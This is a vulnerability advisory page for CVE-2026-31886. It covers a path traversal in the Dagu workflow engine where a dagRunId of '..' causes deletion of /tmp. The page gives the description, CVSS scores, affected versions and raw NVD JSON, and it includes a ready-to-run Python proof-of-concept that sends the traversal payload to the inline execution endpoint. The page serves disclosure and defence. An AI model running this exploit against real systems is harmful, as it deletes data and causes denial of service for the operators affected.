Security Vulnerability Report
中文
CVE-2026-31886 CVSS 9.1 CRITICAL

CVE-2026-31886

Published: 2026-03-13 19:54:38
Last Modified: 2026-03-18 15:24:15

Description

Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, the dagRunId request field accepted by the inline DAG execution endpoints is passed directly into filepath.Join to construct a temporary directory path without any format validation. Go's filepath.Join resolves .. segments lexically, so a caller can supply a value such as ".." to redirect the computed directory outside the intended /tmp/<name>/<id> path. A deferred cleanup function that calls os.RemoveAll on that directory then runs unconditionally when the HTTP handler returns, deleting whatever directory the traversal resolved to. With dagRunId set to "..", the resolved directory is the system temporary directory (/tmp on Linux). On non-root deployments, os.RemoveAll("/tmp") removes all files in /tmp owned by the dagu process user, disrupting every concurrent dagu run that has live temp files. On root or Docker deployments, the call removes the entire contents of /tmp, causing a system-wide denial of service. This vulnerability is fixed in 2.2.4.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H

Configurations (Affected Products)

cpe:2.3:a:dagu:dagu:*:*:*:*:*:*:*:* - VULNERABLE
Dagu < 2.2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2026-31886 PoC - Path Traversal leading to Arbitrary File Deletion # Target: Dagu workflow engine < 2.2.4 def exploit(target_url, dag_id, dag_run_id=".."): """ Exploit the path traversal vulnerability in Dagu's inline DAG execution endpoint. By setting dagRunId to "..", the temporary directory cleanup will delete /tmp """ endpoint = f"{target_url}/api/v1/executions/inline/{dag_id}" payload = { "dagRunId": dag_run_id, # Path traversal payload "params": {} } print(f"[*] Targeting: {endpoint}") print(f"[*] Sending malicious dagRunId: {dag_run_id}") try: response = requests.post(endpoint, json=payload, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response: {response.text}") if response.status_code == 200: print("[!] Request sent successfully. /tmp directory may be deleted.") else: print("[-] Request failed or vulnerability may be patched.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <dag_id>") print(f"Example: python {sys.argv[0]} http://localhost:8080 test-dag") sys.exit(1) target = sys.argv[1] dag_id = sys.argv[2] exploit(target, dag_id)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31886", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:37.690", "lastModified": "2026-03-18T15:24:15.453", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dagu is a workflow engine with a built-in Web user interface. Prior to 2.2.4, the dagRunId request field accepted by the inline DAG execution endpoints is passed directly into filepath.Join to construct a temporary directory path without any format validation. Go's filepath.Join resolves .. segments lexically, so a caller can supply a value such as \"..\" to redirect the computed directory outside the intended /tmp/<name>/<id> path. A deferred cleanup function that calls os.RemoveAll on that directory then runs unconditionally when the HTTP handler returns, deleting whatever directory the traversal resolved to. With dagRunId set to \"..\", the resolved directory is the system temporary directory (/tmp on Linux). On non-root deployments, os.RemoveAll(\"/tmp\") removes all files in /tmp owned by the dagu process user, disrupting every concurrent dagu run that has live temp files. On root or Docker deployments, the call removes the entire contents of /tmp, causing a system-wide denial of service. This vulnerability is fixed in 2.2.4."}, {"lang": "es", "value": "Dagu es un motor de flujo de trabajo con una interfaz de usuario web integrada. Antes de la versión 2.2.4, el campo de solicitud dagRunId aceptado por los puntos finales de ejecución de DAG en línea se pasa directamente a filepath.Join para construir una ruta de directorio temporal sin ninguna validación de formato. filepath.Join de Go resuelve los segmentos '..' léxicamente, por lo que un llamador puede proporcionar un valor como '..' para redirigir el directorio calculado fuera de la ruta prevista /tmp//. Una función de limpieza diferida que llama a os.RemoveAll en ese directorio se ejecuta incondicionalmente cuando el gestor HTTP regresa, eliminando cualquier directorio al que se resolvió el recorrido. Con dagRunId establecido en '..', el directorio resuelto es el directorio temporal del sistema (/tmp en Linux). En despliegues sin privilegios de root, os.RemoveAll('/tmp') elimina todos los archivos en /tmp propiedad del usuario del proceso dagu, interrumpiendo cada ejecución concurrente de dagu que tiene archivos temporales activos. En despliegues con privilegios de root o Docker, la llamada elimina todo el contenido de /tmp, causando una denegación de servicio a nivel de sistema. Esta vulnerabilidad se corrige en la versión 2.2.4."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 5.3}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:dagu:dagu:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.2.4", "matchCriteriaId": "681DF7E8-8500-4F63-8E04-FC8AB4CAFD3A"}]}]}], "references": [{"url": "https://github.com/dagu-org/dagu/commit/12c2e5395bd9331d49ca103593edfd0db39c4f38", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/dagu-org/dagu/security/advisories/GHSA-m4q3-457p-hh2x", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}